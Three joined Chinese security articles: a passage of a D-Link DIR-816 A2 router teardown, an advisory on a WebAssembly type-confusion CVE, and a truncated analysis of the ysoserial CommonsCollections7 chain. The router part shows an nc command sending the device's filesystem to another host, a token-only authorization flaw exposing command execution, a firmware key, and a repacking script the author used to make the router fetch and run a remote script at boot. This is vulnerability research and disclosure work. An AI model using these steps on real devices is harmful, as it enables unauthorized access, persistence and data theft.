在上传了新的busybox后即可使用tar命令对原始的系统文件进行打包。在对打包数据进行回传后即可对程序进行调试和逆向分析了。
# 打包命令
./busybox-mipsel tar -cvf ./system_backup.tar / --exclude=proc --exclude=run - -exclude=dev --exclude=mnt --exclude=sys# 回传打包的数据
# 在自己本机上运行
nc -l 8080 > system_backup.tar# 在路由器上执行
./busybox-mipsel nc 192.168.0.200 8080 < system_backup.tar
至此我们已经成功的获取到路由器的内部文件，可以进一步的堆路由器进行深入分析了。
## 3\. D-Link web管理页面分析
D-Link的Web管理页面是由goahead进程提供的，该进程监听TCP的80端口并提供路由器的管理功能。
### 3.1 管理页面权限验证方法分析
D-Link的登录页面如下图所示。
输入账号密码后，将会向goform/formLogin接口发送如下图所示的数据包进行验证。从数据包中可以看到关键的参数有username，password以及tokenid，其中username使用了base64进行编码，password则进行了某种加密。
有趣的是在成功认证后，服务器并没有返回session或者Cookie相关的数据，仅仅返回了一个重定向到index页面的数据包。
通过对goahead程序的goform/formLogin接口函数进行分析可以看到在验证过程中函数首先会从nvram中读取Login及Password等参数。
随后调用websGetVar函数从我们发送的请求数据中获取username,password,tokenid参数的值。
之后将解析完成的，账号密码信息与nvram中保存的账号密码信息进行比对。
如下图所示，当判断认证成功时将会记录用户的IP地址至BSS区的变量load_host中并修改login变量为1，失败则会将1写入/etc/RAMConfig/confirmlogin文件中，并重定向用户到登录页面。
在更新BSS区的变量load_host后则会检测lan口和wan口的状态并返回对应的登录页面，随后将0写入/etc/RAMConfig/confirmlogin文件中。
通过上述的分析，实际上D-Link路由器在认证成功后仅仅记录了成功登录的用户IP地址，随后将是否需要验证登录的Flag文件内容设置为了0。随后我们可以看一下goahead程序对于不同的url请求所使用的Handler，根据不同的url路径goahead进程将使用不同的Handler进行处理。下面可以看到有两个全局Handler,websSecurityHandler和websDefaultHandler。
首先我们对默认的全局Handler函数websDefaultHandler进行分析。websDefaultHandler会调用websValidateUrl函数对请求的url地址进行检测，主要的功能是对转义符号进行处理并避免’../’路径穿越的问题。
随后以’\’为分割符，循环遍历url中的路径，根据../及正常路径计算路径深度，避免出现../越界的情况。若是websValidateUrl合法，则将继续进行后续处理。
用户访问管理页面时D-Link对全局认证状态的检测过程就在websSecurityHandler这个全局hanlder中。该函数会首先判断是否启用了portal管理，如果未进行portal管理则首先对login变量进行检测，查看是否存在已登录过的管理主机。后续的代码根据是否存在已认证的管理主机进行了两段额外的处理，接下来我们首先分析不存在登录管理主机的情况。此时如果用户请求的是asp的页面，则只允许访问/dir_login.asp或/login_fail.asp页面，其他asp页面均会被重定向成/dir_login.asp页面。而针对已存在登录管理主机的情况则会检测最近两次请求的间隔是否小于0x258(600)毫秒，如果小于600毫秒也会同样将请求重定向至/dir_login.asp。
接下来的代码是共通的处理逻辑，在上图中的代码执行完毕后，会再一次对访问间隔进行检测，如果间隔小于0x258(600)毫秒，则会清空load_host及login等变量。
如果间隔正常的话，则会继续判断发送请求的主机IP是否与load_host变量中的IP一致，如果不一致则将请求重定向至/dir_login.asp页面。接下来还会对是否存在访问限制进检测，随后结束这个Handler，将请求交由后续Handler处理。
下图是将判断portal管理模式之后的验证过程进行整理后的流程图，根据下面的流程图可以发现。在websSecurityHandler中主要是对ASP页面的请求进行了权限控制，认证方法也仅仅是检测了一下当前请求主机的IP地址是否与储存的管理主机的IP地址一致。而针对非ASP页面的请求则交由其他后续的Handler进行权限处理。
另一个重要的Hander就是websFormHandler，下面将对该Handler的主要判断部分进行分析，该函数首先检查了是否存在/etc/RAMConfig/tokenid这个文件。如果文件不存在则创建该文件并写入随机数字后读取，存在的话则读取其中的数据。
随后调用websGetVar函数获取goform请求中的tokenid参数，并调用websValueCheck对请求数据进行过滤后与文件中的数据进行比对，检查是否一致。
WebsValueCheck函数会对请求的数值进行过滤。过滤的关键字如下图所示，如果请求的数据中包含如下图所示的关键字则不会继续执行该请求。
当tokenid及其他请求的参数全部合法后则代表验证通过，此时将会从符号中读取所请求的form名对应的Handler后跳转执行，如果请求的form在符号中不存在，则会返回form未定义的报错。
这里就出现一个问题了，对应form的请求D-Link只对tokenid进行了校验，这也意味着只要知道了tokenid,
无需进行其他验证即可调用所有支持的form请求。根据最初对登录过程的分析，tokenid可以通过访问/dir_login.asp页面进行获取，这也导致了我们能够直接获取到tokenid，从而越权调用所有D-Link支持的form请求。
### 3.2 form越权漏洞利用
通过对goahead的main函数进行分析，发现了大量的form定义处理的函数注册。
通过对一些列的函数进行分析后，发现了不少有趣的功能，例如下图所示的SystemCommand。
非常简单粗暴，直接传参command即可进行命令执行。
类似的form有很多，通过对部分form进行分析后发现，除了远程命令执行外，还存在越权修改账号密码、查看系统日志、清空系统日志、重置设备等一系列的危险调用。
## 4\. 固件升级流程分析
D-Link DIR-816的升级页面如下图所示。
选择升级包后点击上传，将会把文件使用post的方式发送给/cgi-bin/upload.cgi接口。
根据之前对goahead的分析，cgi-bin目录所对应的Handler函数为websCgiHandler该函数最后会通过调用websLaunchCgiProc函数执行对应的cgi-bin文件。
在websLaunchCgiProc函数中将会fork一个子进程，随后调用execve来执行cgi-bin文件。
通过在fork函数处下断点。我们可以结合上图的代码间接的分析出execve函数的参数。
POST请求的头部和尾部数据如下图所示。
### 4.1 upload.cgi分析
通过对upload.cgi文件进行分析后发现，该文件会从环境变量中读取SERVER_SOFTWARE 及UPLOAD_FILENAME这两个变量。
因此我们可以利用如下代码直接调用upload.cgi进行测试分析。
* SERVER_SOFTWARE=lbp_server UPLOAD_FILENAME=/var/cgiHNYyMd /etc_ro/web/cgi-bin/upload.cgi
命令执行后upload.cgi会将上传的固件进行解析随后写入flash中。
接下来继续对upload.cgi进行分析，查看该程序实际执行了哪些操作。在代码头部有一系列的文字处理代码，用途是从我们发送的POST请求数据中提取文件内容，并保存到/var/image.img文件中。随后调用/bin/imgdecrypt命令对提取的固件进行解密操作。
完成解密操作后，调用/bin/mtd_write命令将解压后的固件写入flash中。
upload.cgi的主要工作就是上面说明的这些，因此固件升级的核心部分就是/bin/imgdecrypt命令。
### 4.2 imgdecrypt分析
imgdecrypt比较有趣，他会根据自身文件名来判断执行镜像的解密或加密操作。
在decrypt_firmare函数头部，首先会将0123456789ABCDEF字符串写入到栈中。
随后调用sub_40266C函数计算用于解密镜像的key。
通过对在sub_40266C
函数进行分析后，可以发现改函数主要从地址0x403010处开始获取用于aes解密的key，iv等一系列的数据。随后调用decryptData函数进行解密。
0x403010
地址处的数据如下图所示，成功利用下列数据解密后的key为C05FBF1936C99429CE2A0781F08D6AD8。后续的代码会将计算完的key在终端进行打印。
打印出的key和aes解密结算的结果与之前计算的一致。
随后程序会调用verify_image对镜像进行解密操作，相关的参数如下图所示。
verify_image函数首先会判断镜像的头部是否为SHRS。通过对verify_image头部的代码进行分析后发现，该函数首先会判断image头部的magic是否为SHRS，
随后从镜像中的第8~12个字节读取用于解密数据的长度字段，接着在镜像文件偏移量0x6dc开始获取加密的数据内容进行sha512校验，将结果与镜像偏移量0x9C处的sha512值进行比对。镜像头部的部分结构如下图所示。
在0x9C处存储了加密数据的sha512校验值。
在0x5C处存储了原始数据的sha512校验值。
当加密数据的SHA512值校验通过后，将会对加密数据调用decryptData进行解密，decryptData函数的参数如下图所示。
decryptData函数调用的参数值如下。
解密完成后，将会计算解密后数据的SHA512值并从镜像0x5C处读取SHA512值并进行校验。
在完成了全部的校验值计算后会调用verifyMD对解密和加密的数据进行RSA签名验证。
当签名全部验证通过后，将会把解密后的镜像保存到/var/.firmware.orig文件中。
随后回到upload.cgi中，调用/bin/mtd_write命令将解密后的镜像文件写入到flash中。
至此固件升级的流程就分析完毕了，由于固件升级包使用了RSA签名校验，因此直接伪造固件升级包的难度很大，只能与其他漏洞相结合的方式实现写入自定义固件的效果。
## 5\. 自定义固件写入研究
D-Link DIR-816 A2路由器的文件系统是直接加载在内存中的，每次重启后都会从flash中的kernel
image里重新读取加载。这样的设计方式可以提升系统的健壮性，在避免异常断电造成的文件损坏的同时，也使得传统恶意程序无法驻留在路由器中。本章节主要为了方便后续的研究及对植入驻留型恶意程序的可行性进行探索，对该路由器刷写自定义固件的方法进行了探索及研究。
### 5.1 防砖准备工作
为了能够安全的进行固件写入测试，首先我们需要对flash中的固件进行备份，可以直接从flash中提取或是利用上一章节的方法从固件升级包中进行解密提取。下面是通过使用dd命令将MTD设备中的Kernel部分导出到web目录后进行下载备份的方法。PS:
有Flash编程器的可以免去后续这些麻烦，直接通过编程器从Flash中读取备份。使用DD命令直接从MTD设备中导出到路由器的web目录，随后即可通过网页http://192.168.0.1/mtd4_Kernel.dump直接下载cat
/proc/mtd
------------------output------------------ dev: size erasesize name
mtd0: 00400000 00010000 "ALL"
mtd1: 00030000 00010000 "Bootloader"
mtd2: 00010000 00010000 "Config"
mtd3: 00010000 00010000 "Factory"
mtd4: 003b0000 00010000 "Kernel"
------------------------------------------/home/busybox.mipsel dd if=/dev/mtd4 of=/etc_ro/web/mtd4_Kernel.dump
------------------output------------------ 7552+0 records in
7552+0 records out
3866624 bytes (3.7MB) copied, 1.412360 seconds, 2.6MB/s
------------------------------------------
备份完固件后若测试中出现系统异常，只要uboot部分没有被破坏，即可使用路由器uboot引导界面的第二个菜单功能，进行固件的刷写还原。通过配置tftp服务器及文件名称后即可通过tftp进行固件的还原。
### 5.2 linux kernel image分析
由于我们的目的是修改路由器内核中打包的文件，实现篡改数据或植入恶意程序的目的，因此首先要对封装的Linux kernel
image进行分析。首先使用binwalk对备份的kernel image进行分析可以发现这是一个uimage封装并使用lzma压缩的linux
kernel image文件。下面的代码用于手动从uimage封装的文件中提取lzma压缩的kernel image文件。
根据uimage中image size字段的大小3772774字节。
dd if=mtd4_Kernel.dump of=kernel_image.lzma bs=1 skip=64
count=3772774此处遇到了一个坑，一定不能使用新版本的lzma去压缩，必须要使用特定版本的lzma工具才能正常解压和压缩。通过观察设备的启动过程可以发现设备是基于ralink的sdk进行开发的，因此我们也需要编译对应sdk中的lzma和xz等工具对镜像文件进行处理，否则再重打包镜像时会出现如下图所示的错误信息。
可以在网上搜索MediaTek_ApSoC_SDK_4320_20150414.tar.bz2这个版本的SDK，经测试该SDK中的工具可以用于成功处理我们的这个镜像文件。使用编译好的lzma工具即可成功的解压该镜像文件，使用binwalk对解压后的文件进行分析可以看到该kernel
image中有一个使用xz压缩的文件。基本上在linux kernel
image中使用xz压缩的大多都是rootfs文件，也就是我们实际在路由器中看到的那些文件。
由于linux kernel
image本身是一个可执行文件，使用binwalk自动解压会导致提取出不属于xz部分的数据。[根据](https://github.com/addaleax/xz/blob/master/doc/xz-file-format.txt)xz文件格式的特征可以知道xz压缩文件有其特定的起始标识\xFD\x37\x7A\x58\x5A\x00和结束标识\x59\x5A通过对文件进行分析后，即可得到xz文件在镜像中的正确起始及结束地址，提取和解压的命令如下。
dd if=kernel_image of=root_fs.xz bs=1 skip=4763648 count=2384780# 查看xz文件的内容
~/IoT/tool/bin/xz -l root_fs.xz
------------------output------------------ Strms Blocks Compressed Uncompressed Ratio Check Filename
1 1 2,328.9 KiB 9,294.0 KiB 0.251 CRC32 root_fs.xz
------------------------------------------
# 解压xz文件
~/IoT/tool/bin/xz -d root_fs.xz
通过使用file命令可以得知解压后的xz数据是一个cpio归档文件，进一步查看后可以确认这个文件就是我们所需要修改的root_fs文件。
# 确认解压后的文件类型
file root_fs
------------------output------------------ root_fs: ASCII cpio archive (SVR4 with no CRC)
------------------------------------------
# 使用cpio命令查看归档的文件列表
cpio -tv -F root_fs|more
------------------output------------------ drwxrwxr-x 2 541 541 0 Aug 24 19:30 /sys
drwxrwxr-x 2 541 541 0 Aug 24 19:30 /mnt
drwxrwxr-x 2 541 541 0 Aug 24 19:30 /dev
crw--w--w- 1 root 541 240, 0 Aug 24 19:30 /dev/ac0
crw-rw---- 1 root 541 90, 8 Aug 24 19:30 /dev/mtd4
crw--w--w- 1 root 541 217, 0 Aug 24 19:30 /dev/spiS0
crw--w--w- 1 root 541 4, 64 Aug 24 19:30 /dev/ttyS0
brw-rw---- 1 root 541 31, 1 Aug 24 19:30 /dev/mtdblock1
brw-rw---- 1 root 541 31, 6 Aug 24 19:30 /dev/mtdblock6
crw--w--w- 1 root 541 251, 0 Aug 24 19:30 /dev/nvram
crw-rw-rw- 1 root 541 5, 2 Aug 24 19:30 /dev/ptmx
crw-rw-rw- 1 root 541 1, 3 Aug 24 19:30 /dev/null
crw--w--w- 1 root 541 218, 0 Aug 24 19:30 /dev/i2cM0
crw-rw---- 1 root 541 90, 1 Aug 24 19:30 /dev/mtd0ro
crw-rw-rw- 1 root 541 1, 2 Aug 24 19:30 /dev/kmem
crw--w--w- 1 root 541 253, 0 Aug 24 19:30 /dev/rdm0
brw-rw---- 1 root 541 31, 2 Aug 24 19:30 /dev/mtdblock2
------------------------------------------
下一步就是提取cpio中的文件了，提取命令如下。
创建目录rootfs
mkdir rootfs
cd rootfs
# 解压root_fs归档中的文件到rootfs目录中
cat ../root_fs | cpio -idmvH newc --no-absolute-filenames
# 成功解压后即可在目录中看到归档中的文件了。
ls -la
------------------output------------------ total 64
drwxr-xr-x 16 hack hack 4096 1月 16 11:55 .
drwxr-xr-x 4 hack hack 4096 1月 16 11:55 ..
drwxrwxr-x 2 hack hack 4096 1月 16 11:55 bin
drwxrwxr-x 3 hack hack 4096 1月 16 11:55 dev
drwxrwxr-x 2 hack hack 4096 1月 16 11:55 etc
drwxrwxr-x 9 hack hack 4096 1月 16 11:55 etc_ro
drwxrwxr-x 2 hack hack 4096 1月 16 11:55 home
lrwxrwxrwx 1 hack hack 11 1月 16 11:55 init -> bin/busybox
drwxr-xr-x 4 hack hack 4096 1月 16 11:55 lib
drwxrwxr-x 2 hack hack 4096 8月 24 19:30 media
drwxrwxr-x 2 hack hack 4096 8月 24 19:30 mnt
drwxrwxr-x 2 hack hack 4096 8月 24 19:30 proc
drwxrwxr-x 2 hack hack 4096 1月 16 11:55 sbin
------------------------------------------
此时我们就可以在这个目录里对原始的文件进行任意的修改，或增加新的文件进去。不过需要注意的是DIR-816
A2路由器所使用的flash容量一共是4M,原始镜像已经几乎占满了所有的空间，因此很难在追加什么新大文件进去。
### 5.3 重打包linux kernel image
重打包的方法其实就是把解开分析rootfs的方法反着做一遍即可，此处会在进行cpio归档时遇到一个小问题，cpio归档时无法修改归档文件的路径信息，也就是说我们无法将rootfs目录下的文件路径信息修改为/。进入rootfs目录
cd rootfs# 归档rootfs下的所有文件
find . |cpio -H newc -o > ../root_fs.cpio
# 查看归档的结果,可以发现文件归档的路径是相对路径。
cpio -tv -F ../root_fs.cpio|more
------------------output------------------ drwxr-xr-x 16 hack hack 0 Jan 16 11:55 .
drwxrwxr-x 2 hack hack 0 Jan 16 11:55 sbin
-rwxr-xr-x 1 hack hack 29541 Aug 24 19:29 sbin/internet.sh
-rwxr-xr-x 1 hack hack 3073 Aug 24 19:29 sbin/config-powersave.sh
lrwxrwxrwx 1 hack hack 14 Jan 16 11:55 sbin/poweroff -> ../bin/busybox
-rwxr-xr-x 1 hack hack 7356 Aug 24 19:29 sbin/lan.sh
-rwxr-xr-x 1 hack hack 8981 Aug 24 19:29 sbin/virtual_server_dmz_s
------------------------------------------
此时有个小技巧，可以使用pax命令行工具进行重打包, 利用pax工具的-s参数将路径名进行替换操作。
使用pax打包rootfs目录，并对文件路径使用-s参数替换，替换语法和sed命令的替换方法相同。
pax -w -x sv4cpio -s ‘/rootfs//’ rootfs > root_fs.cpio
# 查看归档的结果,可以发现文件归档的路径已被改写为/目录。
cpio -tv -F root_fs.cpio|more
------------------output------------------ drwxrwxr-x 2 hack hack 0 Jan 16 11:55 /sbin
-rwxr-xr-x 1 hack hack 29541 Aug 24 19:29 /sbin/internet.sh
-rwxr-xr-x 1 hack hack 3073 Aug 24 19:29 /sbin/config-powersave.sh
lrwxrwxrwx 1 hack hack 14 Jan 16 11:55 /sbin/poweroff -> ../bin/busybox
-rwxr-xr-x 1 hack hack 7356 Aug 24 19:29 /sbin/lan.sh
-rwxr-xr-x 1 hack hack 8981 Aug 24 19:29 /sbin/virtual_server_dmz_set2.sh
-rwxr-xr-x 1 hack hack 5120 Aug 24 19:29 /sbin/lan_web_filter.sh
-rwxr-xr-x 1 hack hack 1840 Aug 24 19:29 /sbin/portal_manage.sh
-rwxr-xr-x 1 hack hack 1143 Aug 24 19:29 /sbin/automount.sh
-rwxrwxr-x 1 hack hack 238 Aug 24 19:29 /sbin/pt_hotplug
------------------------------------------
在完成了上述准备工作后即可使用如下python脚本进行重打包。
# !/usr/bin/env python2
# coding=utf-8
import sys
import os
original_image_file = open("kernel_image", 'rb')
original_image_data = original_image_file.read()
original_xz_root_fs_start_offset = 0x48b000
original_root_fs_end_offset = 0x6d138c
original_root_fs_size = original_root_fs_end_offset - original_xz_root_fs_start_offset
working_folder = '/home/hack/IoT/D-Link_image'
root_fs_folder_name = 'rootfs'
xz_path = '/home/hack/IoT/tool/bin/xz'
lzma_path = '/home/hack/IoT/tool/bin/lzma'
# archive rootfs with cpio
cpio_archive_cmd = "cd %s ;pax -w -x sv4cpio -s '/%s//' %s > root_fs.cpio" % (working_folder, root_fs_folder_name, root_fs_folder_name)
print("execute: %s" % cpio_archive_cmd)
os.popen(cpio_archive_cmd)
# compress rootfs with xz
xz_cmd = "cd %s ;%s --check=crc32 -z -c root_fs.cpio > root_fs.cpio.xz" % (working_folder, xz_path)
print("execute: %s" % xz_cmd)
os.popen(xz_cmd)
# repack_image
new_image_name = 'kernel_image_hacked.img'
new_image = open(new_image_name, 'wb')
new_xz_root_fs_path = 'root_fs.cpio.xz'
new_xz_root = open(new_xz_root_fs_path, 'rb')
new_xz_root_data = new_xz_root.read()
if len(new_xz_root_data) > original_root_fs_size:
print("new image is too big, exit")
sys.exit()
new_image_data = original_image_data[:original_xz_root_fs_start_offset]
new_image_data += new_xz_root_data + ('\x00' * (original_root_fs_size - len(new_xz_root_data)))
new_image_data += original_image_data[original_root_fs_end_offset:]
new_image.write(new_image_data)
# compress image with lzma
lzma_cmd = "cd %s ;rm kernel_image_hacked.img.lzma; %s -z kernel_image_hacked.img" % (working_folder, lzma_path)
print("execute: %s" % lzma_cmd)
os.popen(lzma_cmd)
# make uimage
mkimg_cmd = 'cd %s; mkimage -A MIPS -O Linux -T kernel -C lzma -n "Linux Kernel Image" -a 80000000 -e 8000C2F0 -d kernel_image_hacked.img.lzma kernel_image_hacked.uimg' % (working_folder)
os.popen(mkimg_cmd)
至此一个重新打包过的linux kernel image就制作完成了，我们可以直接使用uboot中刷写Linux
Kernel的功能或是利用漏洞将文件上传到服务器后结合命令执行漏洞直接调用mtd_write命令进行linux kernel
image的覆写操作。作为实验，我改写了hw_nat.sh文件，添加了从远端下载shell脚本自动执行的功能。
这样在路由器启动时就会从tftp服务器中下载shell脚本并执行了。终于不用每次都手工上传gdbserver和busybox了@_@。
## 6\. 总结
这篇文章主要分享的是我研究D-Link DIR-816
A2路由器的过程以及遇到的一些坑，希望这篇文章能够帮助到那些对IoT安全研究感兴趣或是苦于无从下手的同学们。这款路由器的安全问题还是比较多的，针对发现的安全漏洞我们也已于今年1月提交给了D-Link厂商。
PS: 设备中还存在疑似后门的开启telnet服务的特殊代码 ^ ^。
本文由 Galaxy Lab 作者：[小黑猪](http://galaxylab.com.cn/author/64/) 发表，其版权均为 Galaxy
Lab 所有，文章内容系作者个人观点，不代表 Galaxy Lab 对观点赞同或支持。如需转载，请注明文章来源。 | 社区文章 |
**作者：启明星辰ADLab
公众号：<https://mp.weixin.qq.com/s/eowDUm2xmpXYK5w1mdD8JA>**
### 漏洞概述
2018年10月，启明星辰ADLab发现浏览器WebAssembly模块存在高危漏洞，并第一时间通报苹果和微软官方进行修复。该漏洞位于对应浏览器JavaScript引擎(JavaScriptCore/ChakraCore)与WebAssembly模块的接口，可同时影响Edge、Safari浏览器。
2019年3月25日，苹果发布了针对该漏洞的安全补丁（CVE-2019-6201）；微软的对应漏洞补丁（CVE-2019-0607）已于2019年2月12日发布。提醒广大用户尽快将浏览器升级到最新版本。
### 漏洞影响范围
* Microsoft Windows 10操作系统的Edge浏览器
* Apple iOS/macOS操作系统的Safari浏览器
* 其他平台上基于WebKit的组件和产品
### 漏洞简析
攻击者可通过精心构造的html网页，使用户在使用浏览器访问网页时触发漏洞。该漏洞在浏览器漏洞利用中可以直接作为fakeobj原语。通常addrof与fakeobj原语结合可以直接获得任意代码执行的能力，在一些特殊情况下，单独使用fakeobj原语也可以完成漏洞利用。
该漏洞的简要分析如下（以Safari/WebKit CVE-2019-6201为例）：
`WebAssemblyModuleRecord::link`负责解析WebAssembly模块中的各个结构，在解析导出表时，有：
case Wasm::ExternalKind::Global: {
// Assert: the global is immutable by MVP validation constraint.
const Wasm::Global& global = moduleInformation.globals[exp.kindIndex];
ASSERT(global.mutability == Wasm::Global::Immutable);
// Return ToJSValue(v).
switch (global.type) {
case Wasm::I32:
exportedValue = JSValue(m_instance->instance().loadI32Global(exp.kindIndex));
break;
case Wasm::I64:
throwException(exec, scope, createJSWebAssemblyLinkError(exec, vm, "exported global cannot be an i64"_s));
return;
case Wasm::F32:
exportedValue = jsValue(m_instance->instance().loadF32Global(exp.kindIndex));
break;
case Wasm::F64:
exportedValue = jsValue(m_instance->instance().loadF64Global(exp.kindIndex));
break;
default:
RELEASE_ASSERT_NOT_REACHED();
}
在加载导出的全局变量时，有`Wasm::I32`、`Wasm::I64`、`Wasm::F32`、`Wasm::F64`四种类型，是WebAssembly标准中指定的数据类型(descriptor)，分别表示32位、64位的整数和浮点数，在.wasm文件中用一个字节确定；随后根据变量类型的长度从`.wasm`文件中继续取出具体数据(value)，封装成JSValue供JavaScript上下文使用。
以“case Wasm::F64为例”，debug版的代码会检查外来数据是否是一个符合IEEE754标准的双精度浮点数：
#define DoubleEncodeOffset 0x1000000000000ll
ALWAYS_INLINE JSValue::JSValue(EncodeAsDoubleTag, double d)
{
ASSERT(!isImpureNaN(d));
u.asInt64 = reinterpretDoubleToInt64(d) + DoubleEncodeOffset;
}
inline bool isImpureNaN(double value)
{
// Tests if the double value would break JSVALUE64 encoding, which is the most
// aggressive kind of encoding that we currently use.
return bitwise_cast<uint64_t>(value) >= 0xfffe000000000000llu;
}
Release版本会在编译过程将isImpureNaN这一检查去掉，此时外来数据如果是一个NaN(Not a
Number)，例如0xffff000000888888，在通过加法(+DoubleEncodeOffset)封装成JSValue时会发生溢出，变成0x888888。由于Safari的boxing规则，这样的一个JSValue会被当作指针，因而发生类型混淆漏洞。
漏洞修补则顺其自然地把去掉的检查补回来：
case Wasm::F32:
- exportedValue = jsValue(m_instance->instance().loadF32Global(exp.kindIndex));
+ exportedValue = jsNumber(purifyNaN(m_instance->instance().loadF32Global(exp.kindIndex)));
break;
case Wasm::F64:
- exportedValue = jsValue(m_instance->instance().loadF64Global(exp.kindIndex));
+ exportedValue = jsNumber(purifyNaN(m_instance->instance().loadF64Global(exp.kindIndex)));
break;
Edge浏览器的漏洞和补丁也非常相似：
Var WebAssemblyInstance::CreateExportObject(WebAssemblyModule * wasmModule, ScriptContext* scriptContext, WebAssemblyEnvironment* env)
{
Js::Var exportsNamespace = scriptContext->GetLibrary()->CreateObject(scriptContext->GetLibrary()->GetNull());
for (uint32 iExport = 0; iExport < wasmModule->GetExportCount(); ++iExport)
{
Wasm::WasmExport* wasmExport = wasmModule->GetExport(iExport);
Assert(wasmExport);
if (wasmExport)
{
PropertyRecord const * propertyRecord = nullptr;
scriptContext->GetOrAddPropertyRecord(wasmExport->name, wasmExport->nameLength, &propertyRecord);
Var obj = scriptContext->GetLibrary()->GetUndefined();
switch (wasmExport->kind)
{
...
case Wasm::ExternalKinds::Global:
Wasm::WasmGlobal* global = wasmModule->GetGlobal(wasmExport->index);
if (global->IsMutable())
{
JavascriptError::ThrowTypeError(wasmModule->GetScriptContext(), WASMERR_MutableGlobal);
}
Wasm::WasmConstLitNode cnst = env->GetGlobalValue(global);
switch (global->GetType())
{
case Wasm::WasmTypes::I32:
obj = JavascriptNumber::ToVar(cnst.i32, scriptContext);
break;
case Wasm::WasmTypes::I64:
JavascriptError::ThrowTypeErrorVar(wasmModule->GetScriptContext(), WASMERR_InvalidTypeConversion, _u("i64"), _u("Var"));
case Wasm::WasmTypes::F32:
- obj = JavascriptNumber::New(cnst.f32, scriptContext);
+ obj = JavascriptNumber::NewWithCheck(cnst.f32, scriptContext);
break;
case Wasm::WasmTypes::F64:
- obj = JavascriptNumber::New(cnst.f64, scriptContext);
+ obj = JavascriptNumber::NewWithCheck(cnst.f64, scriptContext);
break;
...
}
}
JavascriptOperators::OP_SetProperty(exportsNamespace, propertyRecord->GetPropertyId(), obj, scriptContext);
}
}
DynamicObject::FromVar(exportsNamespace)->PreventExtensions();
return exportsNamespace;
}
可以看到，在WebAssembly标准的实现中微软、苹果犯了类似的错误，导致漏洞的面貌也极其相似，漏洞原理也并不复杂。该漏洞是在WebAssembly功能实现时直接引入的，在Edge、Safari中已潜伏了2年。
另一方面，由于JavaScript引擎也无法良好地实现i64类型的WebAssembly变量，因此无论是Safari/WebKit还是Edge都拒绝对该类型及进行处理。MDN也在WebAssembly导出函数章节提到：“如果你尝试调用一个接受或返回一个i64类型导出的wasm函数，目前它会抛出一个错误，因为JavaScript没有精确的方式来标识一个i64。不过，这在将来可能会改变——在将来的标准中，将考虑新的i64类型。届时，wasm可以使用它”。
这给我们的启示：
* 新技术、新标准会带来新的攻击面，标准的实现过程可能会伴随安全问题。
* 不同模块耦合时可能会打破某模块内部的假设，需要谨慎对待。
根据该漏洞的特点，启明星辰ADLab已连续发现了若干漏洞和代码问题，并已通报厂商进行修复。
### 漏洞时间轴
* 2018年10月30日，启明星辰ADLab向苹果提交漏洞；
* 2018年11月6日，启明星辰ADLab向微软提交漏洞；
* 2018年11月27日，苹果在WebKit代码库中修复漏洞；
* 2019年1月24日，微软在ChakraCore代码库中修复漏洞；
* 2019年2月12日，微软为Edge浏览器推送安全性更新，并披露CVE编号；
* 2019年3月25日，苹果为Safari浏览器等产品推送安全性更新，并披露CVE编号。
### 安全建议
安装厂商推送的安全性更新，更新至最新版本。
为了方便社区贡献代码，Edge、Safari在内的常见浏览器产品往往将核心引擎组件开源，而开源代码仓库中的每次补丁提交均包含部分漏洞信息。因此在厂商正式披露漏洞并为产品推送补丁之前，黑客有一个构造漏洞POC的攻击时间窗。为了缩小这一时间窗，终端用户应及时安装厂商提供的安全性更新。
### 参考链接
* <https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2019-0607>
* <https://support.apple.com/en-us/HT209599>
* <https://developer.mozilla.org/zh-CN/docs/WebAssembly/Exported_functions>
* * * | 社区文章 |
# ysoserial CommonsCollections7 & C3P0 详细分析
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
之前详细分析了前6个链的构造及利用方法，本片文章继续学习ysoserial中的cc7和C3P0链的构造和利用。
## 0x01 CommonsCollections7 分析
### 0x0 回顾 LazyMap 触发方式
CC7 链命令执行方式同 1、3、5、6和7链很相似，都是利用的LazyMap触发，LazyMap的特性就不多说了，主要是下面的get函数构成了命令执行链
这里主要回顾之前的触发方式
1. CC1和CC3 是通过 AnnotationInvocationHandler invoke方法以及 jdk代理的方式触发命令执行。
2. CC5 通过 BadAttributeValueExpException 借助 TiedMapEntry 的 toString 方法成功与 getValue 函数挂钩，与命令执行点紧密衔接 。
3. CC5 通过 HashSet 借助 TiedMapEntry 的 hashCode 方法成功与 getValue 函数挂钩。
### 0x1 CC7 链的由来
前几个链的有着很明显共性，都是以 LazyMap
的get方法作为命令执行点的入口，那么这个CC7也是如此，只不过找到了不同于之前的触发方法，这个方法隐藏的比较深，我们可以这么分析。
首先梳理清楚 Map、AbstractMap、HashMap 这三者的关系，如上图所示HashMap 继承 AbstractMap
同时这二者实现Map接口。Map中的接口如下
我们重点关注equals方法，这个方法在HashMap的父类AbstractMap中实现
AbstractMap::equals
public boolean equals(Object o) {
if (o == this)
return true;
if (!(o instanceof Map))
return false;
Map<K,V> m = (Map<K,V>) o;
if (m.size() != size())
return false;
try {
Iterator<Entry<K,V>> i = entrySet().iterator();
while (i.hasNext()) {
Entry<K,V> e = i.next();
K key = e.getKey();
V value = e.getValue();
if (value == null) {
......
} else {
if (!value.equals(m.get(key)))
return false;
}
...
}
return true;
}
该函数的第18行会调用map的get方法，然而LazyMap
正好实现Map接口，因此在这里可以有所作为。仔细的小朋友们会发现，触发这个是有条件的，以下三个判断都不能进入，否则代码执行不到触发点。详细的分析问题分析里展开
if (o == this)
return true;
if (!(o instanceof Map))
return false;
Map<K,V> m = (Map<K,V>) o;
if (m.size() != size())
return false;
### 0x2 反序列化链分析
知道了CC7的产生原因，我们从反序列化的入口开始分析。这次的反序列化入口是 Hashtable 的readObject函数
**1\. readObject 函数分析**
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException
{
s.defaultReadObject();
int origlength = s.readInt();
int elements = s.readInt();//elements 是hashtable中的元素个数
....
for (; elements > 0; elements--) {//通过elements的长度读取键值对
K key = (K)s.readObject();
V value = (V)s.readObject();
reconstitutionPut(newTable, key, value);//该函数会对元素进行比较
}
this.table = newTable;
}
在readObject中会把元素通过读取对象的形式还原出来，并通过reconstitutionPut进行元素对比加入到hashtable中。
**2\. 与LazyMap的连接点**
private void reconstitutionPut(Entry<K,V>[] tab, K key, V value)
throws StreamCorruptedException
{
if (value == null) {
throw new java.io.StreamCorruptedException();
}
int hash = hash(key);//计算key的hash
int index = (hash & 0x7FFFFFFF) % tab.length;//通过hash确定索引
for (Entry<K,V> e = tab[index] ; e != null ; e = e.next) {
if ((e.hash == hash) && e.key.equals(key)) {
throw new java.io.StreamCorruptedException();
}
}
// 如果没有相同元素，创建元素到hashtable中
